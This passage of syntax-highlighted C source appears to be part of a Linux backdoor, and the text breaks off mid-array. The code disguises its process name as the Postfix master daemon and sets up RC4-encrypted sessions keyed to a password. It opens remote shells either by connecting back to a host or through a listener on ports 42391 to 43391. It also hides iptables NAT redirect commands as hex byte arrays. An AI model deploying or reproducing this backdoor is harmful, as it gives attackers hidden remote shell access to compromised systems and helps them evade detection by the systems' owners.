<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; chdir<span class="br0">&#40;</span><span class="st0">&quot;/&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; setsid<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; signal<span class="br0">&#40;</span>SIGHUP<span class="sy0">,</span> SIG_DFL<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">memset</span><span class="br0">&#40;</span>argv0<span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="kw3">strlen</span><span class="br0">&#40;</span>argv0<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">strcpy</span><span class="br0">&#40;</span>argv0<span class="sy0">,</span> pname<span class="br0">&#41;</span><span class="sy0">;</span> <span class="co1">// sets process name (/usr/libexec/postfix/master) </span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; prctl<span class="br0">&#40;</span>PR_SET_NAME<span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">unsigned</span> <span class="kw4">long</span><span class="br0">&#41;</span> pname<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rc4_init<span class="br0">&#40;</span>mp<span class="sy0">-&gt;</span>pass<span class="sy0">,</span> <span class="kw3">strlen</span><span class="br0">&#40;</span>mp<span class="sy0">-&gt;</span>pass<span class="br0">&#41;</span><span class="sy0">,</span> <span class="sy0">&amp;</span>crypt_ctx<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rc4_init<span class="br0">&#40;</span>mp<span class="sy0">-&gt;</span>pass<span class="sy0">,</span> <span class="kw3">strlen</span><span class="br0">&#40;</span>mp<span class="sy0">-&gt;</span>pass<span class="br0">&#41;</span><span class="sy0">,</span> <span class="sy0">&amp;</span>decrypt_ctx<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmp <span class="sy0">=</span> logon<span class="br0">&#40;</span>mp<span class="sy0">-&gt;</span>pass<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">switch</span><span class="br0">&#40;</span>cmp<span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="nu0">1</span><span class="sy0">:</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">strcpy</span><span class="br0">&#40;</span>sip<span class="sy0">,</span> inet_ntoa<span class="br0">&#40;</span>ip<span class="sy0">-&gt;</span>ip_src<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; getshell<span class="br0">&#40;</span>sip<span class="sy0">,</span> ntohs<span class="br0">&#40;</span>tcp<span class="sy0">-&gt;</span>th_dport<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">break</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="nu0">0</span><span class="sy0">:</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; scli <span class="sy0">=</span> try_link<span class="br0">&#40;</span>bip<span class="sy0">,</span> mp<span class="sy0">-&gt;</span>port<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>scli <span class="sy0">&gt;</span> <span class="nu0">0</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; shell<span class="br0">&#40;</span>scli<span class="sy0">,</span> NULL<span class="sy0">,</span> NULL<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">break</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="nu0">2</span><span class="sy0">:</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mon<span class="br0">&#40;</span>bip<span class="sy0">,</span> mp<span class="sy0">-&gt;</span>port<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">break</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">exit</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; close<span class="br0">&#40;</span>sock<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">int</span> b<span class="br0">&#40;</span><span class="kw4">int</span> <span class="sy0">*</span>p<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> port<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> sockaddr_in my_addr<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> sock_fd<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> flag <span class="sy0">=</span> <span class="nu0">1</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span> <span class="br0">&#40;</span>sock_fd <span class="sy0">=</span> socket<span class="br0">&#40;</span>AF_INET<span class="sy0">,</span>SOCK_STREAM<span class="sy0">,</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="sy0">==</span> <span class="sy0">-</span><span class="nu0">1</span> <span class="br0">&#41;</span><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="sy0">-</span><span class="nu0">1</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; setsockopt<span class="br0">&#40;</span>sock_fd<span class="sy0">,</span>SOL_SOCKET<span class="sy0">,</span>SO_REUSEADDR<span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">char</span><span class="sy0">*</span><span class="br0">&#41;</span><span class="sy0">&amp;</span>flag<span class="sy0">,</span><span class="kw4">sizeof</span><span class="br0">&#40;</span>flag<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; my_addr.<span class="me1">sin_family</span> <span class="sy0">=</span> AF_INET<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; my_addr.<span class="me1">sin_addr</span>.<span class="me1">s_addr</span> <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span>port <span class="sy0">=</span> <span class="nu0">42391</span><span class="sy0">;</span> port <span class="sy0">&lt;</span> <span class="nu0">43391</span><span class="sy0">;</span> port<span class="sy0">++</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; my_addr.<span class="me1">sin_port</span> <span class="sy0">=</span> htons<span class="br0">&#40;</span>port<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span> bind<span class="br0">&#40;</span>sock_fd<span class="sy0">,</span><span class="br0">&#40;</span><span class="kw4">struct</span> sockaddr <span class="sy0">*</span><span class="br0">&#41;</span><span class="sy0">&amp;</span>my_addr<span class="sy0">,</span><span class="kw4">sizeof</span><span class="br0">&#40;</span><span class="kw4">struct</span> sockaddr<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="sy0">==</span> <span class="sy0">-</span><span class="nu0">1</span> <span class="br0">&#41;</span><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">continue</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span> listen<span class="br0">&#40;</span>sock_fd<span class="sy0">,</span><span class="nu0">1</span><span class="br0">&#41;</span> <span class="sy0">==</span> <span class="nu0">0</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sy0">*</span>p <span class="sy0">=</span> port<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> sock_fd<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; close<span class="br0">&#40;</span>sock_fd<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="sy0">-</span><span class="nu0">1</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">int</span> w<span class="br0">&#40;</span><span class="kw4">int</span> sock<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; socklen_t size<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> sockaddr_in remote_addr<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> sock_id<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; size <span class="sy0">=</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span><span class="kw4">struct</span> sockaddr_in<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span> <span class="br0">&#40;</span>sock_id <span class="sy0">=</span> accept<span class="br0">&#40;</span>sock<span class="sy0">,</span><span class="br0">&#40;</span><span class="kw4">struct</span> sockaddr <span class="sy0">*</span><span class="br0">&#41;</span><span class="sy0">&amp;</span>remote_addr<span class="sy0">,</span> <span class="sy0">&amp;</span>size<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="sy0">==</span> <span class="sy0">-</span><span class="nu0">1</span> <span class="br0">&#41;</span><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="sy0">-</span><span class="nu0">1</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; close<span class="br0">&#40;</span>sock<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> sock_id<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">void</span> getshell<span class="br0">&#40;</span><span class="kw4">char</span> <span class="sy0">*</span>ip<span class="sy0">,</span> <span class="kw4">int</span> fromport<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">int</span> &nbsp;sock<span class="sy0">,</span> sockfd<span class="sy0">,</span> toport<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> cmd<span class="br0">&#91;</span><span class="nu0">512</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span><span class="sy0">,</span> rcmd<span class="br0">&#91;</span><span class="nu0">512</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span><span class="sy0">,</span> dcmd<span class="br0">&#91;</span><span class="nu0">512</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> cmdfmt<span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x70</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x61</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x6c</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x65</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x61</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x41</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x50</span><span class="sy0">,</span> <span class="nu12">0x52</span><span class="sy0">,</span> <span class="nu12">0x45</span><span class="sy0">,</span> <span class="nu12">0x52</span><span class="sy0">,</span> <span class="nu12">0x4f</span><span class="sy0">,</span> <span class="nu12">0x55</span><span class="sy0">,</span> <span class="nu12">0x54</span><span class="sy0">,</span> <span class="nu12">0x49</span><span class="sy0">,</span> <span class="nu12">0x4e</span><span class="sy0">,</span> <span class="nu12">0x47</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x70</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x63</span><span class="sy0">,</span> <span class="nu12">0x70</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x25</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x64</span><span class="sy0">,</span> <span class="nu12">0x70</span><span class="sy0">,</span> <span class="nu12">0x6f</span><span class="sy0">,</span> <span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x25</span><span class="sy0">,</span> <span class="nu12">0x64</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x6a</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x52</span><span class="sy0">,</span> <span class="nu12">0x45</span><span class="sy0">,</span> <span class="nu12">0x44</span><span class="sy0">,</span> <span class="nu12">0x49</span><span class="sy0">,</span> <span class="nu12">0x52</span><span class="sy0">,</span> <span class="nu12">0x45</span><span class="sy0">,</span> <span class="nu12">0x43</span><span class="sy0">,</span> <span class="nu12">0x54</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x6f</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x70</span><span class="sy0">,</span> <span class="nu12">0x6f</span><span class="sy0">,</span> <span class="nu12">0x72</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x25</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x64</span><span class="sy0">,</span> <span class="nu12">0x00</span><span class="br0">&#125;</span><span class="sy0">;</span> <span class="co1">// /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> rcmdfmt<span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x2f</span><span class="sy0">,</span> <span class="nu12">0x69</span><span class="sy0">,</span> <span class="nu12">0x70</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x61</span><span class="sy0">,</span> <span class="nu12">0x62</span><span class="sy0">,</span> <span class="nu12">0x6c</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x65</span><span class="sy0">,</span> <span class="nu12">0x73</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x6e</span><span class="sy0">,</span> <span class="nu12">0x61</span><span class="sy0">,</span> <span class="nu12">0x74</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x2d</span><span class="sy0">,</span> <span class="nu12">0x44</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu12">0x20</span><span class="sy0">,</span> <span class="nu12">0x50</span><span class="sy0">,</span> <span class="nu12">0x52</span><span class="sy0">,</span> <span class="nu12">0x45</span><span class="sy0">,</span> <span class="nu12">0x52</span><span class="sy0">,</span> <span class="nu12">0x4f</span><span class="sy0">,</span> <span class="nu12">0x55</span><span class="sy0">,</span> <span class="nu12">0x54</span><span class="sy0">,</span> <span class="nu12">0x49</span><span class="sy0">,</span> <span class="nu12">0x4e</span><span class="sy0">,</span> <span class="nu12">0x47</span><span class="sy0">,</span> <span class="nu12">0x20</span><span class="sy0">,</span></div></li>
